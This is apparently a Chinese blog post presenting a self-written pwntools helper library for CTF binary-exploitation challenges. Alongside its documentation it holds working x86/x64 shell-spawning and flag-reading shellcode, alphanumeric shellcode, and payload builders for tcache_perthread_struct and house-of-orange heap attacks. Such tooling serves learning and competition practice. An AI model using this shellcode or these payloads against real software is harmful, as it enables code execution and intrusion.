tools--自己简单写了一些函数放到了这个库里

我将自己写的一些方便解PWN题的鸡肋函数封装到了这个库里,第一是平常用起来方便顺手,第二顺便练习下编程能力,第三如果以后有可能的话,希望逐渐做成像roderick师傅的pwncli那样。

之后这个库不在博客园上再进行更新,最新的代码在新博客

这个库只支持python3

源代码

from ast import arg
from pwn import *
from LibcSearcher import *
import sys
import os
import re
from subprocess import check_output

def long_search(target_vul, leak_addr):
    obj = LibcSearcher(target_vul, leak_addr)
    libc_base = leak_addr - obj.dump(target_vul)
    sys_addr = libc_base + obj.dump('system')
    bin_sh_addr = libc_base + obj.dump('str_bin_sh')
    log('libc_base',hex(libc_base))
    log('sys_addr',hex(sys_addr))
    log('bin_sh_addr',hex(bin_sh_addr))
    return sys_addr, bin_sh_addr


def local_search(target_vul, leak_addr, libc):
    libc_base = leak_addr - libc.symbols[target_vul]
    sys_addr = libc_base + libc.symbols['system']
    bin_sh_addr = libc_base + next(libc.search(b"/bin/sh"))
    log('libc_base', hex(libc_base))
    log('sys_addr',hex(sys_addr))
    log('bin_sh_addr',hex(bin_sh_addr))
    return sys_addr, bin_sh_addr

def log(message,value):
    print("\033["+"0;30;41m"+message+"\033[0m"+
          "\033["+str(91)+"m"+" ===============> "+
          "\033[0m","\033["+"0;30;43m"+value+"\033[0m")

def log_addr(message : str):
    assert isinstance(message,str),'The parameter passed in should be of type str'
    variable= sys._getframe(1).f_locals.get(message)
    assert isinstance(variable,int),'Variable should be of type int'
    log(message,hex(variable))
    
def log_info(message):
    print("\033[1;31m[\033[0m"+"\033[1;32m*\033[0m"+"\033[1;31m]\033[0m  ",message)  
    

def debug(p,*args):
    try:
        if len(sys.argv)==2:
            return
    except:
        pass
    if not args:
        context.terminal = ['tmux', 'splitw', '-h']
        gdb.attach(p)
        os.system('tmux select-pane -L')
        os.system('tmux split-window')
        os.system('tmux set mouse on')
        return
    if args[0]=='no-tmux':
        if args[1]=='pie':
            list=[]
            for i in range(2,len(args)):
                demo = "b * $rebase(0x{:x})\n ".format(args[i])
                list.append(demo)
                info = "".join(list)
            gdb.attach(p, info)
        else:
            list=[]
            for i in range(1,len(args)):
                demo = "b * 0x{:x}\n ".format(args[i])
                list.append(demo)
            info = "".join(list)
            gdb.attach(p,info)
    else:
        if args[0]=='pie':
            list=[]
            for i in range(1,len(args)):
                demo = "b * $rebase(0x{:x})\n ".format(args[i])
                list.append(demo)
                info = "".join(list)
            context.terminal = ['tmux', 'splitw', '-h']
            gdb.attach(p,info)
            os.system('tmux select-pane -L')
            os.system('tmux split-window')
            os.system('tmux set mouse on')
        else:
            list=[]
            for i in range(len(args)):
                demo = "b * 0x{:x}\n ".format(args[i])
                list.append(demo)
            info = "".join(list)
            context.terminal = ['tmux', 'splitw', '-h']
            gdb.attach(p,info)
            os.system('tmux select-pane -L')
            os.system('tmux split-window')
            os.system('tmux set mouse on')

def load(program_name, ip_port="", remote_libc=""):

    global libc_info
    global p
    global framework

    framework = pretreatment_arch(program_name)#判断程序架构

    program_path = os.path.abspath(program_name)
    recv = os.popen('ldd ' + program_path).read()

    if "not a dynamic executable" in recv:#判断是否为静态链接
        if ip_port == "":
            p = process('./' + program_name)
        else:
            if ":" in ip_port:
                par_list = ip_port.split(":", 1)
                p = remote(par_list[0], par_list[1])
                return p
            p = remote(ip_port)
        return p

    """如果程序是动态链接,那就去获取程序的libc信息"""
    rule_version = r"libc-2\.[0-9][0-9]\.so"
    version = re.findall(rule_version, recv)
    if version:
        rule_info = r"\t(.*?)" + version[0] + " \(0x"
        info = re.findall(rule_info, recv)
        libc_info = info[0] + version[0]
    else:
        rule_info = r"libc.so.6 => (.*?) \(0x"
        info = re.findall(rule_info, recv)
        libc_info = info[0]

    if remote_libc!="" and ip_port != "" and (len(sys.argv) == 2 and sys.argv[1] == str(1)):
        libc_info=remote_libc
    log('libc_info', libc_info)
    if len(sys.argv) == 1 or (len(sys.argv) == 2 and sys.argv[1] == str(2)):
        """如果打本地的话(命令行参数没有或者为2),就返回如下"""
        p = process('./' + program_name)
        e = ELF('./' + program_name)
        libc = ELF(libc_info)
        return p, e, libc

    if ip_port != "" and (len(sys.argv) == 2 and sys.argv[1] == str(1)):
        """如果打远程的话(命令行参数为1)并且存在ip_port"""
        """再去判断是否存在远程的libc版本,如果有的话,就直接去装载对应的libc版本"""
        """这种情况是应对打远程和本地的小版本libc不一样的情况,比如one_gadget或者某些函数的偏移有细微差异,从而可以更快的去进行切换"""
        if ":" in ip_port:
            par_list = ip_port.split(":", 1)
            p = remote(par_list[0], par_list[1])
            e = ELF('./' + program_name)
            if remote_libc!="":
                libc=ELF(remote_libc)
            else:
                libc=ELF(libc_info)
            return p, e, libc

def shellcode_store(demand):
    if demand =='shell_64':
        shellcode=b"\x48\x31\xC0\x6A\x3B\x58\x48\x31\xFF\x48\xBF\x2F\x62\x69\x6E\x2F\x73\x68\x00\x57\x54\x5F\x48\x31\xF6\x48\x31\xD2\x0F\x05"
        return shellcode
    elif demand=='shell_32':
        shellcode=b"\x31\xC9\x31\xD2\x31\xDB\x53\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x31\xC0\x6A\x0B\x58\xCD\x80"
        return shellcode
    elif demand=='orw_64':
        shellcode=b"\x68\x66\x6C\x61\x67\x54\x5F\x6A\x00\x5E\x6A\x02\x58\x0F\x05\x50\x5F\x54\x5E\x6A\x50\x5A\x6A\x00\x58\x0F\x05\x6A\x01\x5F\x54\x5E\x6A\x50\x5A\x6A\x01\x58\x0F\x05"
        return shellcode
    elif demand=='orw_32':
        shellcode=b"\x6A\x00\x68\x66\x6C\x61\x67\x54\x5B\x31\xC9\x6A\x05\x58\xCD\x80\x50\x5B\x54\x59\x6A\x50\x5A\x6A\x03\x58\xCD\x80\x6A\x01\x5B\x54\x59\x6A\x50\x5A\x6A\x04\x58\xCD\x80"
        return shellcode
    elif demand=='str_rsp':
        shellcode="Th0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a071N00"
        return shellcode
    elif demand=='str_esp':
        shellcode="TYhffffk4diFkDql02Dqm0D1CuEE2O0Z2G7O0u7M041o1P0R7L0Y3T3C1l000n000Q4q0f2s7n0Y0X020e3j2r1k0h0i013A7o4y3A114C1n0z0h4k4r0y07"
        return shellcode
    elif demand=='str_rdi':
        shellcode="Rh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t"
        return shellcode
    elif demand=='str_rsi':
        shellcode="Vh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a071N00"
        return shellcode
    elif demand=='str_rax':
        shellcode="Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t"
        return shellcode
    elif demand=='str_rbp':
        shellcode="Uh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a071N00"
        return shellcode
    elif demand=='str_rbx':
        shellcode="Sh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a071N00"
        return shellcode
    elif demand=='str_rcx':
        shellcode="Qh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a071N00"
        return shellcode
    else:
        assert False,"Pass in unrecognized parameter"

def search_og(index):
    global libc_info
    recv = os.popen('one_gadget '+libc_info).read()
    p1 = re.compile(r"(.*exec)")
    c = re.findall(p1,recv)
    log_info(recv)
    one_gadget_list=[int(i[:-5],16) for i in c ]
    return one_gadget_list[index]

def recv_libc():
    global p
    global framework
    if framework=='amd64':    
        recv_libc_addr=u64(p.recvuntil(b'\x7f',timeout=1)[-6:].ljust(8,b'\x00'))
        log_addr('recv_libc_addr')
    if framework=='i386':
        recv_libc_addr=u32(p.recvuntil(b'\xf7')[-4:])
        log_addr('recv_libc_addr') 
    return recv_libc_addr       

def pretreatment_arch(program_name):
    """获取程序的位数"""
    global framework
    program_path = os.path.abspath(program_name)
    recv = os.popen('file ' + program_path).read()  # 执行file命令,来对获取的数据进行处理,以来判断程序的位数
    if '64-bit' in recv:
        framework = 'amd64'
    elif '32-bit' in recv:
        framework = 'i386'
    else:
        print('It may not be an ELF file, its type is {}'.format(recv))
        exit()
    log('The framework of the program is:',framework)
    return framework

def p(address):
    global framework
    if framework=='amd64':
        return p64(address)
    elif framework=='i386':
        return p32(address)
    
def tcache_struct_attack(writes:list,address={}):
    """这个函数目前只适用于2.27的libc版本中"""
    """两个参数都为列表 第一个必须要有 第二个则可以没有"""
    """如果我们想将0x110这条tcache链的counts改成7,那我们将第一个参数写为{0x110:7}即可"""
    """第二个参数是用来篡改某条链表的头指针,比如篡改0x120这条链的头指针为0xdeadbeef 则写成{0x120:0xdeadbeef}"""
    count_list=[]
    payload=b''
    size=0x20
    i=0
    flag=0
    while(0x410>=size):
        if i==len(writes):
            break
        for key in writes:
            if size==key:
                count_list.append(writes[key].to_bytes(1,byteorder='little', signed=False))
                i=i+1
                flag=1  
        if flag==0:
            count_list.append((b'\x00'))
        size=size+0x10
        flag=0
    payload=b''.join(count_list)
    if address:
        payload.ljust(0x40,b'\x00')
        size=0x20
        i=0
        flag=0
        address_list=[]
        while(0x410>=size):
            if i==len(address):
                break
            for key in address:
                if size==key:
                    address_list.append(p(address[key]))
                    i=i+1
                    flag=1
            if flag==0:
                address_list.append(p(0))
            size=size+0x10
            flag=0
        payload=payload.join(address_list)
    return payload

def orange_attack(libc_base:int,heap_addr:int,fill_data,libc)->bytes:
    '''
    在house of orange攻击中,如果获取了libc地址和堆地址,并且让堆块进入unsorted bin中
    后续的攻击较为模板化,因此将后面的payload模板化
    使用该函数最需要注意的就是heap_addr必须要是在unsorted bin中的那个堆块地址

    :param libc_base: libc基地址
    :param heap_addr: 在unsorted bin中的堆块地址
    :param fill_data: 因为我们是溢出来控制的堆块数据,这个fill_data是覆盖正常堆块的数据
    假设正常堆块size为0x400,我们通过正常堆块溢出到它下面位于unsorted bin中的堆块,那么fill_data为0x400
    :param libc: 该参数就是程序所依赖的libc库,用于之后在libc中搜索需要的符号表
    :return: 构造好的payload
    '''
    sys_addr = libc_base + libc.symbols['system']
    io_list_all = libc_base + libc.symbols['_IO_list_all']

    payload = b'a' * fill_data
    payload += b'/bin/sh\x00' + p64(0x61)  # old top chunk prev_size & size 同时也是fake stdout的_flags字段
    payload += p64(0) + p64(io_list_all - 0x10)  # old top chunk fd & bk  覆盖bk,进行unsorted bin attack
    payload += p64(0) + p64(1)  # _IO_write_base & _IO_write_ptr
    payload += p64(0) * 7
    payload += p64(heap_addr)  # chain
    payload += p64(0) * 13
    payload += p64(heap_addr+0xd8) #vtable
    payload += p64(0) + p64(0) + p64(sys_addr)#sys_addr为 __overflow字段
    return payload

命令行参数:

为了不在打远程和本地,以及打本地时是否开启调试选择中来不断的更改脚本,因此我设置了命令行参数来直接做切换。

1 去打远程且不开启脚本中的调试

2 打本地且不开启脚本中的调试

如果不加命令行参数,则默认打本地,若有debug函数则自动开启调试。

假设你现在想打远程

那么你需要在脚本里写p,e,libc=load("heap","node4.buuoj.cn:27339") (程序名和ip&port请自行更改,这里只是举例说明)

然后运行脚本时使用命令 如下(即使脚本中有debug函数也不影响打远程)

python3 exp.py 1

如果打本地时,不想去让脚本执行debug函数,那么命令可以如下(这样的好处是即使脚本中存在debug函数,但不想在本次执行脚本时debug也不需要来回去脚本里注释了)

python3 exp.py 2

如果直接运行exp.py的话,即使脚本里存在ip和port也不会去打远程

各个函数的使用说明

作用:这两个函数就是去libc中寻找system函数和/bin/sh的地址(分别用于本地和远程)
优点:将用LibcSearcher搜索并装载的重复的代码都放到了函数内部,现在一行就可以获取system和/bin/sh地址,因此您的脚本看起来更为简洁。

使用范例

sys_addr,bin_sh_addr=long_search('puts',puts_addr)

sys_addr,bin_sh_addr=local_search('puts',puts_addr,libc)
"""libc指的是装载本地的libc,例如在脚本开始声明"""
"""libc=ELF('/lib/i386-linux-gnu/libc.so.6')"""

log

作用:这个函数就是单纯的打印一下某些变量的信息,类似于日志(但我更建议去使用下面的log_addr函数)
优点:加了箭头和字体颜色效果,可以更清楚的打印所需要的信息

使用范例

puts=123456
log('puts_addr',puts_addr)

log_addr

如果你仅仅是想看一下变量对应的值是否是你需要的那个地址,同时感觉上面这个log函数太麻烦还需要两个参数,那么你不妨试试log_addr函数。

作用:log_addr是专门为展示地址设计的(因为它会自动将变量以16进制的形式打印)

优点:只传一个变量名字即可同时返回的是以十六进制表示的变量,但是没有log函数灵活。

使用前提:你要确保变量是int类型的,那么你仅仅传入字符型的变量名字(不是变量)

使用范例

puts_addr=123456
log_addr('puts_addr')

使用效果:

log_info

如果仅仅是打印一个参数的话,可以使用log_info函数。

作用:打印调试信息

优点:前面加了[*],使调试信息更加明显,让你更快的找到你想看见的信息。

适用情况:比如你发现u32(p.recv(4))得到的地址不对,你想要看看p.recv()到底接收了什么,那么你就可以这么写log_info(p.recv())。

使用范例

log_info(p.recv())

使用效果:

image-20220729201555971

debug

作用:在脚本中下断点进行调试
优点:1、如果使用tmux,可以直接分三屏,效果如下图。您仅仅只需要在脚本中加入这个函数,运行脚本的时候就可以自动分出三块屏幕(调试具体信息占屏幕的右侧,左上是脚本的debug执行信息,左下则可以继续使用),左下角的区域完全可以去对着脚本进行调试。

2、可以很简洁的输入地址,即可完成下断点的工作,同时开了pie保护的话,也可以正常去下断点

使用说明:
这个函数还是比较常用的,适用于tmux的终端,只需要在最开始传递一下process函数返回的对象,接着就可以直接下断点了(默认使用tmux),如果开启了PIE保护的话,需要声明一下pie(也就是加一个参数'pie')即可继续下断点。
如果不使用tmux也没问题,可以加入参数no-tmux就可以正常使用这个函数(如果使用no-tmux,则这个参数必须是放在第二个参数的位置(第一个参数始终是process的返回值)

如果直接使用debug()函数,参数只有process函数返回的对象的话,则默认使用tmux终端,执行分三屏命令,最后执行gdb.attach(p)
PS:这个函数可以放到脚本的任何位置(必须要保证当前位置的下面还有一行不会触发报错的代码),这样可以从脚本当前的位置去开始调试,同时配合下的断点可以使调试更高效。
使用范例:

debug(p,0x400ECD,0x400F54)
"""使用tmux,下两个断点"""

debug(p,'no-tmux','pie',0x248)
"""不使用tmux,程序开了pie,用偏移来下断点"""

debug(p)
"""使用tmux,执行gdb.attach(p)"""

load

作用:写入目标程序的名字,将返回p(process的返回值),e(当前ELF文件的信息),libc(ELF文件所依赖的libc文件的信息)。ps:如果是静态链接的程序,那么只会执行p=process或者p=remote然后直接返回p。

也就是相当于执行了原来的p=process('xxx') e=ELF('xxx') libc=ELF('xxx')。如果传入了ip和port的话,则会执行remote(ip,port)代替原本的process。这样就可以直接打远程了

优点:将原本重复的代码写在了函数内部,现在只要调用load函数,传入函数名即。同时该函数也获取了libc的信息将其存为了全局变量,为了之后获取one_gadget的函数直接使用。

使用范例:

p,e,libc=load('program')#这是打本地,动态链接的程序
p=load('program')#这是打本地,静态链接的程序
p,e,libc=load("program","node4.buuoj.cn:28822")#这是打远程的情况,ip和port只需要用:分隔开即可。

shellcode_store

我封装了一些shellcode放到了tools里面,可以使用shellcode_store函数来进行使用。

作用:参数设置为需要的shellcode类型,返回对应的shellcode

使用范例:

shellcode=shellcode_store('shell_64')#返回64位获取shell的shellcode
shellcode=shellcode_store('orw_32')#返回32位执行open,read,write读出flag的shellcode
shellcode=shellcode_store('str_rax')#返回起始的跳转寄存器为rax的字符型shellcode

PS:获取shell和orw的我都写了64位和32位的shellcode(应该是最短字节的了),纯字符的shellcode我几乎只生成了针对于x64的各个寄存器,其他没有生成那么多(因为感觉平常很少用到),等以后用到没有生成过的再记录上来吧。

search_og

作用:不需要手动将one_gadget工具获取的one_gadget再复制粘贴到脚本中了,可以直接通过这个函数来获取one_gadget,参数为想获取对应的one_gadget在列表中的索引。

注意:这个函数依赖了one_gadget这个工具以及load函数,因此必须要保证当前拥有one_gadget工具并且脚本中使用了load函数才行。

使用范例:

one_gadget=search_og(1)
p.sendline(p64(one_gadget+libc_base))

使用效果:

posted @ 2022-05-24 21:51  ZikH26  阅读(304)  评论(0编辑  收藏  举报